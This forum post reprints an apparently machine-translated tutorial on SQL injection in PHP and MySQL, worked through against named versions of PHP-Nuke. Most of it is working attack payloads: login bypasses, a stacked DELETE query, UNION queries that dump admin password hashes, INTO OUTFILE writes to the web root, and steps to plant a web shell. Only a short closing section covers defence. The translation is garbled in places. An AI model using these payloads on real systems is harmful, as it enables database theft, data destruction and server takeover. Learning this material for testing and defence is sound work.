General theory of Sql injections [Article]

For those who are interested in the basics of Sql injections, I found a wonderful article for understanding the general principles, I recommend reading:

On various security websites there are often messages about
finding SQL injection vulnerabilities in various scripts, forums, engines
and so on. Apparently this problem is becoming more and more relevant,
administrators update software on their sites on time; authors do not write scripts
scripts with essential inclusion, but when you encounter a script working with the database
data are programming errors, or rather errors when querying the database,
they just stick out in your eyes. In this article I would like to describe the most common mistakes
leading to the implementation of your code in queries to the database, consider examples
data exploitation bug to get the information we need from the database... well, we'll see
what will come of all this =)
Examples will be given in PHP because IMHO this is the most convenient language to work with
DB, mysql version 4.0.12 will be used as a database, although
I think briefly we’ll touch on MS SQL. To understand attacks of this class, you
Naturally, you need to know the structure of the SQL language. Well, this is where we start and
Let's do it.
================================================================
---/// SQL language
================================================================
To work with databases, the SQL language (Structured Language) is used
Queries) This is a language that makes it possible to create relational databases
(and work with them), which are sets of related information,
stored in tables. A relational database is a body of related information
stored in two-dimensional tables. This is similar to an address or phone book.
Code:

+------------------+---------------------+------- ------------------+
| name | password | email | <-- column names
+------------------+---------------------+------- ------------------+
| admin | password | admin@localhost.com | <-- d
+------------------+---------------------+------- ------------------+ <-- a
| lamer | qwerty | lamer@localhost.com | <-- n
+------------------+---------------------+------- ------------------+ <-- n
| hacker | mamba | hacka@localhost.com | <-- s
+------------------+---------------------+------- ------------------+ <-- e

There are several basic SQL commands that you need to know to work with the database.
So here they are:
Creating a table:
Code:

-----------------
CREATE TABLE table name (field name type, field name type, ...)
This command creates a new table in the database with the specified name and
fields (columns) of the specified type.
This team is unlikely to be useful to us in our bad business, so especially
I won’t dwell on it.
Removing a table:
-----------------
DROP TABLE table name
Deletes the specified table, regardless of whether it is empty or contains
data.
Inserting a record:
---------------
INSERT INTO table name (field1 name, field2 name, ...) VALUES ('value1','value2',...)
Adds fields and their corresponding values ​​to the specified table. Fields that
exist in the table but are not specified in this command get 'undefined'
meaning'. 'Undefined value' is a kind of internal flag,
which tells MySQL that the field has no value.
Examples:
INSERT INTO users (name, password, email) VALUES ('root', 'pass', 'admin@localhost.com');
// Inserts an entry into the "users" table: root in the name field, pass in the password field
INSERT INTO admins (name, posts) VALUES ('admin', 2);
// Inserts a record into the “admins” table: admin in the name field and 2 in the posts field
// Here it should be noted that the admin field is in text format, while the
// post is in INT (numeric) format
// If both fields were text, then the two would also have to be enclosed in
// quotes
Deleting an entry:
----------------
DELETE FROM table name WHERE expression
Removes from the specified table all records that satisfy the condition in
expression after WHERE.
Examples:
DELETE FROM users WHERE name='root';
DELETE FROM admins WHERE post=2;
Search for an entry:
-------------
SELECT * FROM table name WHERE expression
Searches the specified table for all records that satisfy the conditions of the expression.
The * sign means selecting all fields of the record, if you need to select only a few
fields, they are listed explicitly separated by commas.
Examples:
SELECT * FROM users;
// Lists all records from the users table
SELECT name, email FROM users;
// Displays the entries for the name and email columns
SELECT name FROM admins WHERE post>2;
// Displays records of the name column from the admins table for which the corresponding value is post>2
SELECT * FROM admins WHERE name='root';
Post update:
------------------
UPDATE table name SET field name1='value1', field name2='value2',... WHERE expression
In the specified table, all records that satisfy the expression are received in
the listed fields correspond to the listed values.
Examples:
UPDATE users SET name='bad-admin' WHERE password='qwerty';
// In the users table, all records that have “qwerty” in the password column have a value in the column
// name will change to “bad-admin”

================================================================
---/// PHP and mySQL
================================================================
Now let's see how working with the database is implemented in PHP.
To start working with the database, we need to establish a connection with it:
mysql_connect($hostname,$username,$password)
And select the base with which we will work:
mysql_select_db($dbname)
$hostname – database server
$username – login to the database $password – password to the database $dbname – name of the database
After this we can issue SQL queries using mysql_query($query) where
$query is our query.

For example:
Code:


# define the server, login, password, database name
$hostname = 'localhost';
$username = 'root';
$password = 'pass';
$dbname = 'forum';
# connect to the server
mysql_connect($hostname,$username,$password);
# select the desired base
mysql_select_db($dbname);
# send a request to the database
$result = mysql_query("SELECT * FROM table_1");
...
?>

These are, in principle, the basics you need to know to work with the database. Now let's move on to
more interesting, namely how to implement your code.
================================================================
---/// SQL injection basics
================================================================
As you may have noticed, test data is transmitted in sql queries enclosed in
The 'data' quotes lead to an interesting point. What if to the script
the data for the sql query is taken from variables received from the user and not
are filtered... Then we can try to insert this same quotation mark "'" into the request
Let's say there is a script that selects the user's soap from the table in accordance with
his login:
Code:


...connection to the database...
...getting data from a request...
$result = mysql_query("SELECT mail FROM users WHERE login='$login'");
...
?>

If we pass normal text in the $login variable, for example “lamer”, then in SQL
the request will be executed:
SELECT mail FROM users WHERE login='lamer'
And everything will work as it should...
Now let's try to insert a quote: $login=hacker'
And the request will be like this:
SELECT mail FROM users WHERE login='hacker''
And as we can see, this request will give us an error. Great =) Extra
the quote did its job and we were able to modify the database query.
The simplest example. Let's say the above script allows you to watch
to the user his registration data. Now using a quote we can
see information for all users, like this:
$login=blah' OR login='admin
And the sql query will change to this:
SELECT mail FROM users WHERE login='blah' OR login='admin'
Those. Instead of displaying the user's soap, the script will give us the admin's soap for this script.
Next, we can get the soaps of all users:
$login=no_user' OR '1'='1
The SQL query will look like this:
SELECT mail FROM users WHERE login='no_user' OR '1'='1'
Because '1'='1' always means the query will return all records from the table.
The use of quotation marks is applicable in the case of passing text data to the request, with
numerical data is still simpler. Let's say the script displays the user's password in
according to its serial number:
Code:


...
$result = mysql_query("SELECT password FROM users WHERE num=$num");
...
?>

When passing a normal number, the script sends a request to the database and the request returns
required data:
SELECT password FROM users WHERE num=7;
Here we can change the query even without using quotes:
$num=1 OR 2
and the query will become:
SELECT password FROM users WHERE num=1 OR 2;
This is the basis of this type of attack. Also, besides the quotation mark, there are also symbols that
may be useful to us.
Semicolon ";" serves to separate SQL queries to the database. TO
unfortunately not supported in mysql =( so it will not be considered further in the article
will. In case we are dealing with MS SQL in which this feature
is supported, then with its help we get the opportunity to give several
queries in one line, for example:
The script discussed above:
Code:


...connection to the database...
...getting data from a request...
$result = mysql_query("SELECT mail FROM users WHERE login='$login'");
...
?>

If you work with MS SQL, then change the variable like this:
$login=no_user'; delete FROM users WHERE login='admin
Request:
SELECT mail FROM users WHERE login='no_user'; delete FROM users WHERE login='admin';
Accordingly, we will delete the entry whose login field contains the value “admin” =)
“-” and “/*” are also useful to us; these are the symbols that indicate the beginning in sql
comment. Useful for cutting off unnecessary data in queries.
For example:
$result = mysql_query("SELECT mail FROM users WHERE login='$login' AND post='123'");
If we pass the variable $login=no_user' OR '1'='1 then the request will become:
SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123';
Agree, not quite what we need =
In this case, commenting will be useful to us...
$login=no_user' OR '1'='1';--
or
$login=no_user' OR '1'='1'/*
Please note that in this case we ourselves close the quote at the end of the request because
the quotation mark from the request that previously closed the variable will now be
commented out.
Well, now we can display information from the table. But did you notice that we
limited to this table? Those. We cannot output data from another table. For
obtaining data from other tables we will need a more detailed study
query structures and one more command.
================================================================
---/// Using the UNION command
================================================================
So the UNION command is used to combine the output of two or more SELECT queries.
Features of the team that will have to be taken into account:
When two (or more) queries undergo a join, their output columns must
be compatible for association. This means that every request must
specify the same number of columns and in the same order and each must
have a type compatible with each.
Also, this feature appears only in mysql version 4.0, i.e. for more
earlier versions of the database will not work.
The command type is:
SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;
Where a1 and b1, a2 and b2, a3 and b3 must be the same type.
For example:
SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;
I think it would be most convenient to consider working with this command on a specific
example. I suggest PHP-Nuke version 7.0 FINAL to torment. I advise you to download and
install this engine. So we install and configure Nuka. Launch mysql
With logging done, let's get started.
================================================================
---/// SQL injection using PHP-Nuke as an example
================================================================
So we will deal with the News module
http://127.0.0.1/nuke7/modules.php?name=News&new_topic=1
This is the request that displays the first topic on the engine. Let's try to put a quotation mark on
to the new_topic value, so now the request becomes like this:
http://127.0.0.1/nuke7/modules.php?name=News&new_topic=1'
We issue a request in the browser and look at the mysql logs:
...
10 Query SELECT topictext FROM nuke_topics WHERE topicid='1''
^!!!
10 Query SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings FROM nuke_stories WHERE topic='1'' ORDER BY sid DESC limit 10
^!!!
...
This is where our quote showed itself =)
You see: WHERE topicid='1''
Let's look at the first request:
SELECT topictext FROM nuke_topics WHERE topicid='1''
Selecting topictext from the nuke_topics table where topicid=1'
Now let's look at the topictext type:
+------------------------+
| topictext | varchar(40) |
+------------------------+
Great, now let's try using the UNION command:
We issue a request in the browser:
modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
Great =) Instead of the section name, we see the admin password hash. What happened?
Let's look at the mysql logs again:
14 Query SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
here is our request
Here it is. We make a selection from nuke_topics where topicid='999' and this request
Naturally it doesn’t return anything because We don’t have such a topic and are making a selection
pwd from the nuke_authors table and this query returns the password hash of the first
user who is substituted into the section name. Note that if we
If we indicate the existing topic number, we will not get any results because will
the name of this topic is substituted and not the hash. That's why we use the number 999.
Here is the first vulnerability =)
Let's look at the second request: (the request is divided into several lines for convenience)
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'' <-- Here we can insert our sql code
ORDER BY sid DESC limit 10
Let's see what types of data we have in the nuke_stories table:

+-----------+--------------+
| sid | int(11) |
+-----------+--------------+
| catid | int(11) |
+-----------+--------------+
| aid | varchar(30) |
+-----------+--------------+
| title | varchar(80) |
+-----------+--------------+
| time | datetime |
+-----------+--------------+
| hometext | text |
+-----------+--------------+
| bodytext | text |
+-----------+--------------+
| comments | int(11) |
+-----------+--------------+
| counter | mediumint(8) |
+-----------+--------------+
| topic | int(3) |
+-----------+--------------+
| informant | varchar(20) |
+-----------+--------------+
| notes | text |
+-----------+--------------+
| acomm | int(1) |
+-----------+--------------+
| score | int(10) |
+-----------+--------------+
| ratings | int(10) |
+-----------+--------------+

Now let's also look at the nuke_authors table for record types and create a query with
UNION so that the types from the nuke_stories table match the types from
nuke_authors and the request will look like:
modules.php?name=News&new_topic=999' UNION SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter FROM nuke_authors /*
We issue a request in the browser and see a topic containing the password hash =) There is no longer
It is necessary to indicate a non-existent topic because everything works with the topic
existing in the database.
If you look at the database logs, you can see that the following request was sent to the database
data: (the request is divided into 4 blocks for greater convenience)
SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'
UNION
SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
FROM nuke_authors
/*
' ORDER BY sid DESC limit 10
As you can see in both queries the number and types of columns are the same.
The request is specifically divided into 4 blocks:
1 block is the first select query selecting from the nuke_stories table
Block 2 - command for merging requests union
Block 3 - the second select query which selects the password hash and counter from the nuke_authors table
Block 4 - everything that comes after "/*" will be considered a comment
================================================================
---/// Output data to file
================================================================
By the way, the Internet is full of almost identical articles about sql-injection and
they all talk about attacks of this type when using MS SQL as
database server. Of course, the server from small soft ones gives truly amazing
opportunities to hack the entire server due to the ability to split requests into
line and other tricks, but this is the topic of another article, but on our agenda is mysql
in which everything is not so simple, but it’s not bad at all, it’s good because with mysql
it's more difficult to tinker with and therefore more interesting =) Why did I say that? Yes, just in those
articles describe hacking during authorization and authorization occurs there approximately
with this request:
SELECT * FROM users WHERE login='blabla' AND password='blabla';
Perverted! Is not it? Absolutely poor way to work with a database. For what
Are you asking to select all data from a table? Brrr somehow I'm in the wrong place
blown away = We'll take a better look at authorization in PHP-Nuke 6.9. in which the process
authorization is done more competently and beautifully. Pay attention to the nuke version!
The fact is that in version 7.0 it will not be possible to embed code through the form using
quotes because there this bug is covered. Version 7.0 has the ability to embed code
in this module using cookies, but we will not touch cookies for now because on
This article will be on this topic a little later, but let’s look at implementing code simply through
authorization form. For this reason I had to use an earlier version. How
example.
Run [url]http://127.0.0.1/phpnuke69/admin.php[/url] and see a window for entering your login and
password. Well, you probably already guessed what we will do? Of course we put it in
as the login admin' (don't forget about the quote) and 123 as the password.
Hmmm... Doesn't let me in =) Well, anything can happen =) Probably because the username and password
the database is completely different =)))
Well, let’s go look at the mysql logs again:

1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin''
^ - here it is our native quotation mark =)
Stop! Have you already run to insert UNION and SELECT? Early. The point is that in this
The module does not output any data received from the database. Naturally once
there is no output, then we have nowhere to output the resulting hash. What to do. Fortunately in
mysql has a wonderful option for saving selected data from a table to a file.
This feint is performed with the ears as follows:

SELECT * FROM table INTO OUTFILE 'file_path/file';
Let's try to save the admin password hash in a file. The input form does not allow you to enter
The login is long, so you will have to transfer data through the browser line:
[url]http://127.0.0.1/phpnuke69/admin.php?op=login&pwd=123&aid=admin'[/url] INTO OUTFILE 'pwd.txt
After requesting this line in the database, the following is executed:
9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' INTO OUTFILE 'pwd.txt'
And the password hash of the user “admin” is written to the pwd.txt file. But all
The problem is that the file is not created in the root of the www-server but in the database directory
data. To create a file in a directory accessible via the web, you must specify
full path:
/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt
And now:
http://127.0.0.1/phpnuke69/pwd.txt
It will give us the admin hash.
Of course, you need to take into account access rights and it’s not a fact that you can write
the file is in the right place, but that’s not important right now. The main thing is that we were able to form
the desired request and create a file.
================================================================
---/// Receiving an http shell
================================================================
Of course, databases are good, they are interesting and informative, but I want something
more =) I have them =)
As we have already figured out, we can create files. But you can write to a file
any information from the database, why not take advantage of this and create your own
such a small http shell by creating a php file with a simple and
probably familiar content to everyone:
So, using one of the methods described above, you still managed
get the admin password hash and you are successfully logged in as the engine admin,
by decrypting the password, or by inserting it into cookies (the topic about cookies will be discussed in more detail
discussed in the next article) Now you need to somehow
insert php code into one of the values ​​in the database and then output it to a file.
Here's the method I used:
Login as admin. In the administration menu, go to the Topics section. We create
new topic.
In the Topic Name field write passthru
in the Topic Text field we write:
Now let’s remember the vulnerability described above in this article, namely:
modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
Now we don’t need to get the password hash, but rather save the entry from the “topictext” column
http://127.0.0.1/phpnuke/modules.php?name=News&new_topic=2' INTO OUTFILE 'shell.php' /*
where 2 is the number of the new topic, shell.php is the file that will be created
Don't forget to include the path to the file.
After executing this request, a shell.php file will be created containing the required
us php code.
================================================================
---/// Protection methods
================================================================
If you did read the article, you probably already understood that the only correct
protection is the filtering of all data received from the user. The best
the solution would be to allow only letters and numbers. If
the received value must be a number, check it before placing it in sql
request.
You shouldn't rely on filtering just one quote because... firstly the attacker can
use other symbols for, if not embedding code, then at least obtaining
additional information (for example about the path to the site) from error messages.
And secondly, if the script filters out any character, then it can be replaced
construction +char(0xCHARACTER_CODE)+.
I would also like to point out that you need to filter all data coming from the user.
in requests, in cookies, in general, everything!
================================================================
---/// Conclusion
================================================================
OK it's all over Now. I tried to consider the most informative examples of attacks like
sql-injection. I hope now you can avoid mistakes when coding scripts
working with databases. Good luck.
PS All information in this article is for educational purposes only.
This article is just an attempt to help script authors and point out possible
errors when working with databases.